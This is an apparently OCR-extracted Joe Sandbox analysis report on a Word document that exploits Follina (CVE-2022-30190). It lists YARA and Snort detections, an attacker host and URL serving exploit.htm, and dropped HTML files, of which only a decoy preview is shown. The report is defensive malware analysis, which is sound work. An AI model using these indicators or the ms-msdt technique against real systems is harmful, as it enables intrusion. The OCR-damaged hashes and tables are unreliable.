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Windows Analysis Report

ZDhoKQk8G6.docx

Overview

General Information

Sample ZDhoKQk8G6.docx
Name:

Analysis ID: 645905

MD5: b64108b4dbb4cc.

SHAL: ad1eb7107e76f8..
SHA256: 52b48c4b2f4a63..

Infos: Bt B

rar A

Process Tree

= System is w7x64

Classification

Detection

F MALICIOUS 1

Signatures

Multi AV Scanner detection for subm...

Yara detected Microsoft Office Expl...

Malicious sample detected (through...

Snort IDS alert for network traffic

Contains an external reference to an...

Uses known network protocols on n...
Detected suspicious Microsoft Offic...
. Yara signature match
Follina CVE-2022- °

30190

Potential document exploit detected...

Uses a known web browser user age...

Range: 0-100
Whitelisted: false Detected TCP or UDP traffic on non...
Confidence: 100%

Internet Provider seen in connection...

° WINWORD.EXE (PID: 828 cmdline: "C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

= cleanup

Malware Configuration

@ No configs have been found

Yara Signatures

Initial Sample

Source

document.xml.rels

document.xml.rels

PCAP (Network Traffic)
Copyright Joe Security LLC 2022

Rule Description Author Strings

SUSP_Doc_Word Detects a Tobias Michalski, e 0x39:$al: <Relationships

XMLRels_May22  suspicious pattern  Christian Burkard, e Ox4ca:$a2: TargetMode="External"
in docx Wojciech Cieslak o 0x4c3:$x2: .htm!

document.xml.rels
file as seen in

CVE-2022-30190 /
Follina exploitation

INDICATOR_OLE
_RemoteTemplate

Detects XML
relations where an
OLE object is
refrencing an
external target in
dropper OOXML
documents

ditekSHen

e 0x480:%olerel: relationships/oleObject
e 0x499:$targetl: Target="http
e Ox4ca:$mode: TargetMode="External
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Source

dump.pcap

dump.pcap

Dropped Files

Source

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary
Internet Files\Content.IES\XNHCOJWC\exploit[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary
Internet Files\Content.IES\XNHCOJWC\exploit[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary
Internet Files\Content. MSO\7341AC3F.htm

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary
Internet Files\Content. MSO\7341AC3F.htm

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary
Internet Files\Content. MSO\722BFA5.htm

Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

Rule

EXPL_Follina_CV
E_2022_30190_M
sdt_MSProtocolUR
|_May22

JoeSecurity_Follin
a

Rule

EXPL_Follina_CV
E_2022_30190_M
sdt_MSProtocolUR
|_May22

JoeSecurity_Follin
a

EXPL_Follina_CV
E_2022_30190_M
sdt_MSProtocolUR
|_May22

JoeSecurity_Follin
a

EXPL_Follina_CV
E_2022_30190_M
sdt_MSProtocolUR
|_May22

Description

Detects the
malicious usage of
the ms-msdt URI
as seen in CVE-
2022-30190 /
Follina exploitation

Yara detected
Microsoft Office
Exploit Follina /
CVE-2022-30190

Description

Detects the
malicious usage of
the ms-msdt URI
as seen in CVE-
2022-30190 /
Follina exploitation

Yara detected
Microsoft Office
Exploit Follina /
CVE-2022-30190

Detects the
malicious usage of
the ms-msdt URI
as seen in CVE-
2022-30190 /
Follina exploitation

Yara detected
Microsoft Office
Exploit Follina /
CVE-2022-30190

Detects the
malicious usage of
the ms-msdt URI
as seen in CVE-
2022-30190/
Follina exploitation

Author Strings

e 0x35c2:$rel: location.href = "ms-msdt:
e Ox5eba:$rel: location.href = "ms-msdt:

Tobias Michalski,
Christian Burkard

Joe Security

Author Strings

Tobias Michalski, e 0x1447:$rel: location.href = "ms-msdt:

Christian Burkard

Joe Security

Tobias Michalski, e 0x1447:$rel: location.href = "ms-msdt:

Christian Burkard

Joe Security

Tobias Michalski, e 0x1447:%rel: location.href = "ms-msdt:

Christian Burkard

Click to see the 3 entries

ET TROJAN Possibly Malicious Base64 Unicode WebClient DownloadString M2 - Source IP: 117.48.146.246 - Destination IP: 192.168.2.22

Timestamp:

SID: 2023942

Source Port: 8008

Destination Port: 49178

Protocol: TCP

Classtype: A Network Trojan was detected

117.48.146.246192.168.2.228008491782023942 06/15/22-07:10:36.033223

ET EXPLOIT Possible Microsoft Support Diagnostic Tool Exploitation Inbound (CVE-2022-30190) - Source IP: 117.48.146.246 - Destination IP: 192.168.2.22

Timestamp:

SID: 2036726

Source Port: 8008

Destination Port: 49178

Protocol: TCP

Classtype: Attempted User Privilege Gain

Copyright Joe Security LLC 2022

117.48.146.246192.168.2.228008491782036726 06/15/22-07:10:36.033223
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ET TROJAN Possibly Malicious Base64 Unicode WebClient DownloadString M1 - Source IP: 117.48.146.246 - Destination IP: 192.168.2.22 —

Timestamp: 117.48.146.246192.168.2.228008491782023941 06/15/22-07:10:36.033223

SID: 2023941

Source Port: 8008

Destination Port: 49178

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN Possibly Malicious Base64 Unicode WebClient DownloadString M1 - Source IP: 117.48.146.246 - Destination IP: 192.168.2.22 —
Timestamp: 117.48.146.246192.168.2.228008491812023941 06/15/22-07:10:38.181098

SID: 2023941

Source Port: 8008

Destination Port: 49181

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN Possibly Malicious Base64 Unicode WebClient DownloadString M2 - Source IP: 117.48.146.246 - Destination IP: 192.168.2.22 -—
Timestamp: 117.48.146.246192.168.2.228008491812023942 06/15/22-07:10:38.181098

SID: 2023942

Source Port: 8008

Destination Port: 49181

Protocol: TCP

Classtype: A Network Trojan was detected

ET EXPLOIT Possible Microsoft Support Diagnostic Tool Exploitation Inbound (CVE-2022-30190) - Source IP: 117.48.146.246 - Destination IP: 192.168.2.22 =
Timestamp: 117.48.146.246192.168.2.228008491812036726 06/15/22-07:10:38.181098

SID: 2036726

Source Port: 8008

Destination Port: 49181

Protocol: TCP

Classtype: Attempted User Privilege Gain

Joe Sandbox Signatures

AV Detection

Multi AV Scanner detection for submitted file

Exploits

Yara detected Microsoft Office Exploit Follina CVE-2022-30190

Detected suspicious Microsoft Office reference URL

Networking

Snort IDS alert for network traffic

Uses known network protocols on non-standard ports

System Summary

Malicious sample detected (through community Yara rule)

Persistence and Installation Behavior m [::l

Contains an external reference to another file

Copyright Joe Security LLC 2022 Page 6 of 66



Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Mitre Att&ck Matrix

Initial
Access

Valid
Accounts

Default
Accounts

Domain
Accounts

Local
Accounts

Execution Persistence

Path

Exploitation = Interceptio
for Client n
Execution

Scheduled  Boot or
Task/Job Logon
Initializatio
n Scripts
At (Linux) Logon
Script
(Windows)
At Logon
(Windows)  Script
(Mac)

Behavior Graph

Privilege Defense Credential

Escalation Evasion Access

Path

0os

Interceptio  Masqueradi Credential

n ng Dumping
Boot or Rootkit LSASS
Logon Memory
Initializatio
n Scripts
Logon Obfuscated Security
Script Files or Account
(Windows) Information Manager
Logon Binary NTDS
Script Padding
(Mac)
Behavior Graph
ID: 645905
Sample: ZDhoKQk8G6.docx

Startdate:
Architecture:

Score:

15/06/2022
WINDOWS
84

Discovery

File and
Directory
Discovery

System
Information
Discovery

Query
Registry

System
Network
Configurati
on
Discovery

Lateral .
Collection
Movement
Remote Data from
Services Local
System
Remote Data from
Desktop Removable
Protocol Media

SMB/Wind  Data from

ows Admin  Network
Shares Shared
Drive

Distributed  Input
Component Capture
Object

Model

- - - -\ e
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117.48.146.246, 49173, 49174, 49175

&

CHINA169-BACKBONECHINAUNICOMChinal69BackboneCN
China
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Gii B

dropped

Exfiltration

Exfiltration
Over Other
Network
Medium

Exfiltration
Over
Bluetooth

Automated
Exfiltration

Scheduled
Transfer

dropped

Command
and
Control

Non-
Standard
Port

R t
Network em_o €
Effects Service

Effects

Eavesdrop Remotely
on Insecure Track

Network Device

Communic  Without

ation Authorizati
on

Exploit SS7 Remotely

Non- to Redirect Wipe Data
Application Phone Without
Layer Calls/SMS  Authorizati
Protocol on
Exploit SS7 = Obtain
Application  to Track Device
Layer Device Cloud
Protocol Location Backups
SIM Card
Ingress Swap
Tool
Transfer

Legend:

I:‘ Process

. Signature

. Created File

Il onsiPoinfo

ﬂ Is Dropped

A% Is Windows Process

Y
*
"en

)ES 8

i
i
=

L@ 2 )

Impact

Modify
System
Partition

Device
Lockout

Delete
Device
Data

Carrier
Billing
Fraud

Hide Legend

Number of created Registry Values

Number of created Files

Visual Basic
Delphi
Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

dropped
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Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Source
ZDhoKQk8G6.docx

Copyright Joe Security LLC 2022

Detection Scanner Label

25% Virustotal

Link
Browse
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https://www.virustotal.com/gui/file/52b48c4b2f4a63fc6611dea7e9146a440d41e306143788ea20c56c3ab292cf00/detection/f-52b48c4b2f4a63fc6611dea7e9146a440d41e306143788ea20c56c3ab292cf00-1655269530

Source Detection Scanner Label Link
ZDhoKQk8G6.docx 17% ReversingLabs Script-
Macro.Exploit. CVE
-2017-0199

Dropped Files

@ No Antivirus matches

Unpacked PE Files

@ No Antivirus matches

Domains

@ No Antivirus matches

URLs

@ No Antivirus matches

Domains and IPs

Contacted Domains

@ No contacted domains info

URLs from Memory and Binaries
Name Source Malicious  Antivirus Detection Reputation

http:/f document.xml false high
https://img1.18183.com/image/20220427/16510402881
53109.png

http:/f document.xml false high
https://img1.18183.com/image/20220427/16510403034
49177.png

http:ff document.xml false high
https://img1.18183.com/image/20220427/16510402974
22300.png

World Map of Contacted IPs
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[] No. of IPs < 25%

B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public IPs

1P Domain Country Flag ASN ASN Name Malicious

117.48.146.246 unknown China ] 4837 CHINA169- true
BACKBONECHINAUNICO
MChinal69BackboneCN

General Information

Joe Sandbox Version: 35.0.0 Citrine

Analysis ID: 645905

Start date and time: 15/06/202207:09:28 2022-06-15 07:09:28 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 5m 20s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: ZDhoKQk8G6.docx

Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET

4.6.2)

Number of analysed new started processes 5

analysed:

Number of new started drivers analysed: 1

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: e HCA enabled

e EGA enabled
e HDC enabled
e AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal84.troj.expl.evad.winDOCX@1/22@0/1
EGA Information: Failed

HDC Information: Failed

Copyright Joe Security LLC 2022 Page 10 of 66



HCA Information:

Successful, ratio: 100%
e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: Found application associated with file extension: .docx
Adjust boot time

Enable AMSI

Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down

Close Viewer

e o o o o o o

Warnings

e Exclude process from analysis (whitelisted): mrxdav.sys, dllhost.exe, rundll32.exe
e TCP Packets have been reduced to 100

e Report size getting too big, too many NtQueryAttributesFile calls found.

e Report size getting too big, too many NtSetValueKey calls found.

Simulations

Behavior and APIs

@ No simulations

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

©@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Office\14.0\ OfficeFileCache\FSD-CNRY.FSD

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
File Type: data

Category: dropped

Size (bytes): 131072

Entropy (8bit):  0.2885388677374342

Encrypted: false
SSDEEP: 48:1300cNnRBCAVFKPR2ais0luP2N2E9hrQZg46xbATxbA7H:Ko9LjKVP2N2E99Qt6x0Tx07H
MDS5: C86FDD1688DFA14188A34E2FA613D252
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SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

EE12F352A8EBO13ACD680EAF77177F590D8E1799
92FE284561709E189C7A95D753BFFDFESEA788C48EO0AFC642FF8ACF4EB86EBL7

5AD00B55C195FBA1AFB83648429FB964AFOE76DDB399BA47A3DAESF56F6D7507A0B8C665C262C7A546093BBSAE31849744FFA2D6BF498CBF110979D82E3DCF!
5

false

low

.$.LN....MD9.A....

C:\Users\user\AppData\Local\Microsoft\Office\14.0\ OfficeFileCache\FSD-{2A40B0OAC-ACBB-463B-8DC0-568E01ED388D}.FSD

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

data

dropped

131072

0.6757902642554773

false

96:K46Cy3egKDtc1r5vztDz3IdoG9oUBMC+1TOHQYGS:z6WDelrxhhGjm+uw
D97F2CC70A4379260D06D56554D15338
AA791DEB8BBDE74815AD14F492E808E3BE2CA33DB
C16B2099208C3E92051AE581D68C48EACE6C2676FA3D0294C11CFFA4D1296B76

BF551EBCA42DADD9YEFA9D10EECAAQ07F2B8ABF67DD5F10AFCB5AF98FD226C19848A26AEF80E744592D45AD2A411075008964879CF33DC8E31B0796293BA8D
BO1

false

low

C:\Users\user\AppData\Local\Microsoft\Office\14.0\ OfficeFileCache\FSF-CTBL.FSF

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

114

3.939953768708169

false
3:yVIgsRIz8JIIVXIIsSIILMNSBSYQJIdOJ7IWIdFk276:yPblzQwIsSHIKSBS9cJAIk22
23C72AAF923FE6C7EA713BC3B6BABESD
81BE16213DBADA2C88789E63AB577C51035F3D02
8B119C83E768575DBDAB4CA4C43A5036600340D9D73CA253A000D4EE91651620

6177FOBDAOD261F5E566137684A750695E9E62B7AES514E1FA9C74E5C78A83BBE6B5DD975BEBI07F56BF625C9AC8F1ES531952C5EBFE6B68E0169C0AGAE4612ABT
5

false
low

.H.@...b..q...]JF.S.D.-{2.A.4.0.B.0.A.C.-.A.C.B.B.-4.6.3.B.-.8.D.C.0.-.5.6.8.E.0.1.E.D.3.8.8.D.}...F.S.D..

C:\Users\user\AppData\Local\Microsoft\Office\14.0\ OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

data

dropped

131072

0.28920165154806665

false

48:13NRBK1cjGmLVNNyw5T5iY1bxQ/rImAS5REASS5RLH:KNLNIxQTJTotoLH
5D8DC4451C809A7288A70F0310BAFB79
9BB56FEFOEC78307F10DCE7E9C75C353A8312CC5
4A7FDAD115C3C0982E5200F719C349B7F6C95415B35FF7EDIB18A4DFD6CFAL43

DE9B179EDB9C7D520F1C0OAD968B1BA6F29C483CFEBB91A826C66CA1CD78ACEE277756E0FB4B66490534EDBB81BEAFAF97A7FF8B132BABCIDD6AEAFBOAOA
B6E27

false
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Reputation:

Preview:

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{4FD4A456-B142-48A7-8A26-7CC29A810

637}.FSD

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

131072

0.22189153735687875

false
48:13mEMRUrB1alSOwjXq7mdS/BVDIW6fbfzlssfbrig3oDg3ok:KmRRCftjslqgQs8bM
7453904A6FC41F31B5CF58B64E84E111
525EB1FFC638888B18CC1DF87D46B1B7B11E51C9
5E68DD6840E40B8DEC61403C1C786857E02A22A05C399B941B13CED14BFC3A4D

E8D8SAFDF2243BDEDCDFBB45DE3FAAQ999A870DF34776F34E4D12E4AAA00700FB8A747AA1A1949FA3955759150407B6C85304E888E70FF4364FD02BECCS5BESS
1c

false

low

C:\Users\user\AppData\Local\Microsoft\Office\14.0\ OfficeFileCache\LocalCacheFileEditManager\FSF-{OE1EEE64-EBCH-4E2A-9759-63CFO7FD8

988}.FSF

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

114

3.9660980668778723

false

3:yVlgsRIzF6R+UOLNVIWNsZ3IMp0276:yPblzkUZIWrp022
E435FF41580D4AF52534CED5213A06DE
D9D9501DB59405B4BD62FECC2C67AFODA7B80AFE
8C91DC89DICC105BB8B3BAICAOALS56FC559EADS5A5C8546D86D6F3BDFEBL4ED1B

F7C65AB2F7331A78093B2E73B425F8253A97EE32E3CAF150F880F2FAEC7CO6F8E1F3EADC74E13D7E6BAFDIOFES4A70DFE4ABBF89B5C7A4B518B8981F1EE36702
33

false
low

.H.@...b..q...]F.S.D.-{4.F.D.4A456.-B.1.4.2-48A.7-8A26.-7.C.C.29.A8.1.0.6.3.7.}..F.S.D..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHCOJWC\exploit[1].htm @

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

HTML document, ASCII text, with very long lines, with CRLF line terminators

downloaded

5982

4.758638141931997

false

96:t/iGBF2nPW5mDtWID8qIlmz1I8vHWYMLJIS2Ipyfinb Tc7Oi/EAEWC8EASKISe+0gN:tJ5mDtWIDUOGTI9EHbTcKeZEwWC8EaKiG
7F4B47B5BE4DF743220DDA8F5595909A

5B7E7EEA20DE3F9C89D7FF3CF21E256D0EEOOES4
2CDD875B905065D9E35E323EB56F8F5B1DCA141BE94DA35F79DAF833D88728A7

E09214CCA66CDA3B0A0120985B19B029C7DA40A560DBIDOESCS0EE2F0988E655A5C452F8A1553BD5A86918EC2CI2FBEG22AFDA82302277C18CA839DC4321A€E
CB

true
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Yara Hits:

Reputation:
|IE Cache URL:

Preview:

e Rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22, Description: Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 /
Follina exploitation, Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.|IES\XNHCO0JWC\exploit[1].htm, Author: Tobias
Michalski, Christian Burkard

e Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source:
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.|IES\XNHCOJWC\exploit[1].htm, Author: Joe Security

e Rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22, Description: Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 /
Follina exploitation, Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.|IES\XNHCO0JWC\exploit[1].htm, Author: Tobias
Michalski, Christian Burkard

e Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source:
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IES\XNHCOJWC\exploit[1].htm, Author: Joe Security

low
http://117.48.146.246:8008/exploit.htm

<!doctype html>..<html lang="en">..<head>..<title>..Good thing we disabled macros..</title>..</head>..<body>..<p>..Lorem ipsum dolor sit amet, consectetur adipiscing
elit. Quisque pellentesque egestas nulla in dignissim. Nam id mauris lorem. Nunc suscipit id magna id mollis. Pellentesque suscipit orci neque, at ornare sapien bibendum
eu. Vestibulum malesuada nec sem quis finibus. Nam quis ligula et dui faucibus faucibus. In quis bibendum tortor.....Curabitur rutrum leo tortor, venenatis fermentum ex
porttitor vitae. Proin eu imperdiet lorem, ac aliquet risus. Aenean eu sapien pharetra, imperdiet ipsum ut, semper diam. Nulla facilisi. Sed euismod tortor tortor, non eleifen
d nunc fermentum sit amet. Integer ligula ligula, congue at scelerisque sit amet, porttitor quis felis. Maecenas nec justo varius, semper turpis ut, gravida lorem. Proin arcu
ligula, venenatis aliquam tristique ut, pretium quis velit.....Phasellus tristique orci enim, at accumsan velit interdum et. Aenean nec tristique

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\exploit[1].htm

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

HTML document, ASCII text, with very long lines, with CRLF line terminators

dropped

5982

4.758638141931997

false
96:t/iGBF2nPW5mDtWID8qImz1I18vHWYMLJIS2IpyffnbTc7Oi/EAEWC8EAS5KIiSe+0gN:tJ5mDtWIDUOGTI9EHbTcKeZEwC8EaKiG
7F4B47B5BE4DF743220DDA8F5595909A

5B7E7EEA20DE3F9C89D7FF3CF21E256D0EEOOES4
2CDD875B905065D9E35E323EB56F8F5B1DCA141BE94DA35F79DAF833D88728A7

E09214CCA66CDA3B0A0120985B19B029C7DA40A560DBIDOESC80EE2F0988EG55A5C452F8A1553BD5A86918EC2C92FBEG622AFDA82302277C18CA839DCA4321A¢
cB

false
low

<ldoctype html>..<html lang="en">..<head>..<title>..Good thing we disabled macros..</title>..</head>..<body>..<p>..Lorem ipsum dolor sit amet, consectetur adipiscing
elit. Quisque pellentesque egestas nulla in dignissim. Nam id mauris lorem. Nunc suscipit id magna id mollis. Pellentesque suscipit orci neque, at ornare sapien bibendum
eu. Vestibulum malesuada nec sem quis finibus. Nam quis ligula et dui faucibus faucibus. In quis bibendum tortor.....Curabitur rutrum leo tortor, venenatis fermentum ex
porttitor vitae. Proin eu imperdiet lorem, ac aliquet risus. Aenean eu sapien pharetra, imperdiet ipsum ut, semper diam. Nulla facilisi. Sed euismod tortor tortor, non eleifen
d nunc fermentum sit amet. Integer ligula ligula, congue at scelerisque sit amet, porttitor quis felis. Maecenas nec justo varius, semper turpis ut, gravida lorem. Proin arcu
ligula, venenatis aliquam tristique ut, pretium quis velit.....Phasellus tristique orci enim, at accumsan velit interdum et. Aenean nec tristique

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\722BFAS.htm @

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Yara Hits:

Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

HTML document, ASCII text, with very long lines, with CRLF line terminators

dropped

5982

4.758638141931997

false

96:t/iGBF2nPW5mDtWID8qIlmz1I8vHWYMLJIS2Ipyfinb Tc7Oi/EAEWC8EASKISe+0gN:tJ5mDtWIDUOGTI9EHbTcKeZEwWC8EaKiG
7FABA7B5BE4DF743220DDA8F5595909A

5B7E7EEA20DE3F9C89D7FF3CF21E256DOEEOOES4
2CDD875B905065D9E35E323EB56F8F5B1DCA141BE94DA35F79DAF833D88728A7

E09214CCAG6CDA3B0A0120985B19B029C7DA40A560DBIDOESCB0EE2F0988E655A5C452F8A1553BD5A86918EC2CI2FBEG22AFDA82302277C18CA839DC4321A¢E
CB

true

e Rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22, Description: Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 /
Follina exploitation, Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\722BFA5.htm, Author: Tobias Michalski,
Christian Burkard

e Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source:
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\722BFA5.htm, Author: Joe Security

low

<!doctype html>..<html lang="en">..<head>..<title>..Good thing we disabled macros..</title>..</head>..<body>..<p>..Lorem ipsum dolor sit amet, consectetur adipiscing
elit. Quisque pellentesque egestas nulla in dignissim. Nam id mauris lorem. Nunc suscipit id magna id mollis. Pellentesque suscipit orci neque, at ornare sapien bibendum
eu. Vestibulum malesuada nec sem quis finibus. Nam quis ligula et dui faucibus faucibus. In quis bibendum tortor.....Curabitur rutrum leo tortor, venenatis fermentum ex
porttitor vitae. Proin eu imperdiet lorem, ac aliquet risus. Aenean eu sapien pharetra, imperdiet ipsum ut, semper diam. Nulla facilisi. Sed euismod tortor tortor, non eleifen
d nunc fermentum sit amet. Integer ligula ligula, congue at scelerisque sit amet, porttitor quis felis. Maecenas nec justo varius, semper turpis ut, gravida lorem. Proin arcu
ligula, venenatis aliquam tristique ut, pretium quis velit.....Phasellus tristique orci enim, at accumsan velit interdum et. Aenean nec tristique
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C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7341AC3F.htm @

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Yara Hits:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

HTML document, ASCII text, with very long lines, with CRLF line terminators

dropped

5982

4.758638141931997

false
96:t/iGBF2nPW5mDtWID8qImz1I18vHWYMLJIS2IpyffnbTc7Oi/EAEWC8EAS5KIiSe+0gN:tJ5mDtWIDuOGTISEHbTcKeZEwC8EaKiG
7F4B47B5BE4DF743220DDA8F5595909A

5B7E7EEA20DE3F9C89D7FF3CF21E256D0EEOOES4
2CDD875B905065D9E35E323EB56F8F5B1DCA141BE94DA35F79DAF833D88728A7

E09214CCA66CDA3B0A0120985B19B029C7DA40A560DBIDOESC80EE2F0988E655A5C452F8A1553BD5A86918EC2C92FBEG622AFDA82302277C18CA839DC4321A¢
cB

true

e Rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22, Description: Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 /
Follina exploitation, Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\7341AC3F.htm, Author: Tobias Michalski,
Christian Burkard

e Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source:
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\7341AC3F.htm, Author: Joe Security

<!doctype html>..<html lang="en">..<head>..<title>..Good thing we disabled macros..</title>..</head>..<body>..<p>..Lorem ipsum dolor sit amet, consectetur adipiscing
elit. Quisque pellentesque egestas nulla in dignissim. Nam id mauris lorem. Nunc suscipit id magna id mollis. Pellentesque suscipit orci neque, at ornare sapien bibendum
eu. Vestibulum malesuada nec sem quis finibus. Nam quis ligula et dui faucibus faucibus. In quis bibendum tortor.....Curabitur rutrum leo tortor, venenatis fermentum ex
porttitor vitae. Proin eu imperdiet lorem, ac aliquet risus. Aenean eu sapien pharetra, imperdiet ipsum ut, semper diam. Nulla facilisi. Sed euismod tortor tortor, non eleifen
d nunc fermentum sit amet. Integer ligula ligula, congue at scelerisque sit amet, porttitor quis felis. Maecenas nec justo varius, semper turpis ut, gravida lorem. Proin arcu
ligula, venenatis aliquam tristique ut, pretium quis velit.....Phasellus tristique orci enim, at accumsan velit interdum et. Aenean nec tristique

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B14BFCO.png E

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

PNG image data, 500 x 265, 8-bit/color RGBA, non-interlaced

dropped

251976

7.994452839001206

true

6144:Y0ai6s7Sg8tWib0g5m+yHcsgiFi5XGfIsZ90r4:YOb1wOlIHcsgnXKazOr4
DFC62C64626F11E01A29203C6BFAC296
E418EF6561DDC24CD62D47ED131713B922871363
2C71BFD99AD8A748954CC840174C3851386001F40312D2B8956019801357B2F1

A9B568AA135D67F3E2DEEAFACB137EF3EDBC09095214EDF49810EA2736DF60FD3D10067BBE42126F60018C5C9284ABF08B1A1719EE06471F72B003ES5BF58F4!
7

false
PNG........ IHDR............. b..M...IDATX.W.e..._v.JL.."..5m....$=E....1.0{...G#.z.....X."..0.V.E.{..m@q*k..6222"....~I}rr..,..A.0.UU.. PU....C.......... (T.*.8.8..Y.u<...
UV..0SIXy... XA%....U.T,U.. \KK]).A...~..=."{.&a..7....|.OPe.Ka.+.J.u.n..Z,...0....\LUV.W:...i.. #...oo. (.. @V.AG.OY)W. 0. WU ....0."....o..U(., .G Y . f.D X 2WQLBN.....C.

w.w].m..P.N...v.....D
..G."XE+.m..w.......WE.....B7n....~.0.]..>0..._YWF..3......
N.}....u...d......Z,2Uu.8NL...... #M.s.l....E*.5m=.../KK.,....

. M&={L/_..+..U.84"}w.6.Ra..$2.@.a.....;......|. B Y YA WAV
L 02KZVY . AL T........P4.q.Z.. Zu.._Y.V}h....0...k]a...G.... 14....C\QZMR ...t \E.)/3L. #)RY;>...b..
(H#I(t.&0$.0..S. B B..|.-2W..0...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F20135FB.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

